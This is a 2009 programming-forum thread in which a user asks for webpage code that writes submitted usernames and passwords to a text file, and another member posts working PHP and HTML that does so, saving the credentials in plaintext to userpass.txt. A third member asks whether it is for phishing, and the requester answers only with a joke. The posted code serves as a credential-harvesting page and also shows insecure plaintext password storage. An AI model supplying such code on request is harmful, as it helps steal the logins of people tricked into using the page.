1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

anyone please help

Discussion in 'General Programming Chat' started by yuppie, May 2, 2009.

  1. yuppie

    yuppie Newbie

    Joined:
    Apr 30, 2009
    Messages:
    29
    Likes Received:
    1
    Occupation:
    Self Employed
    Location:
    USA
    Home Page:
    box1-username
    box2-password
    button-submit

    I need code to put on webpage to copy box1 and box2 contents upon clicking submit to a txt file. I want text file to place box1 text ontop of box2 text evrytime.

    Please help this should not be a problem for you coders out there.

    Thanks in advance:)
     
  2. 00CivicEX

    00CivicEX Jr. VIP Jr. VIP Premium Member

    Joined:
    Mar 3, 2009
    Messages:
    293
    Likes Received:
    214
    Here ya go, wrote this real quick...let me know if it works

    Code:
    <?php
        // Check if the user submitted this form
        if (isset($_POST["submitwrite"])) {
            // Open the file in write mode
            $handle = fopen("userpass.txt","w+"); 
            
            // If successful
            if ($handle) {
                // Write to that handle the username submitted in the form and the date
                fwrite($handle,$_POST["usersname"]);
                fwrite($handle,$_POST["password"]);
                // Close the file
                fclose($handle);
            }
        }
    ?>
            
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "[URL]http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd[/URL]">
    <html xmlns="[URL]http://www.w3.org/1999/xhtml[/URL]" lang="en" xml:lang = "en" dir="ltr">
    <head>
    <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
    <title>Submit example</title>
    </head>
    <body>
    <!-- Notice how the form is submitting to itself -->
    <form method="POST" action="<?php $_SERVER["PHP_SELF"]; ?>">
    Username: <input type="text" name="usersname"/><br/>
    Password: <input type="text" name="password"/><br/>
    <input type="submit" value="Write" name="submitwrite"/>
    </form>
    </body>
    </html>
    
     
  3. 00CivicEX

    00CivicEX Jr. VIP Jr. VIP Premium Member

    Joined:
    Mar 3, 2009
    Messages:
    293
    Likes Received:
    214
    Also, you need to create a text file in the location of this file called userpass.txt
     
  4. yuppie

    yuppie Newbie

    Joined:
    Apr 30, 2009
    Messages:
    29
    Likes Received:
    1
    Occupation:
    Self Employed
    Location:
    USA
    Home Page:
    Thx m8 I'm going to build page with this in a couple of days, still piecing my project together. I'm pretty sure it'll work as it looks good. I'm real good at tweaking code,just not baking from scratch. Thanks agian you saved me a couple of hours searching code off the internet. Good job
     
  5. fletd09

    fletd09 Newbie

    Joined:
    Mar 10, 2009
    Messages:
    46
    Likes Received:
    18
    Are you planning to use this method for phishing? Kind of suspicious lol
     
  6. yuppie

    yuppie Newbie

    Joined:
    Apr 30, 2009
    Messages:
    29
    Likes Received:
    1
    Occupation:
    Self Employed
    Location:
    USA
    Home Page:
    Wouldn't you need a phishing pole to do that.:)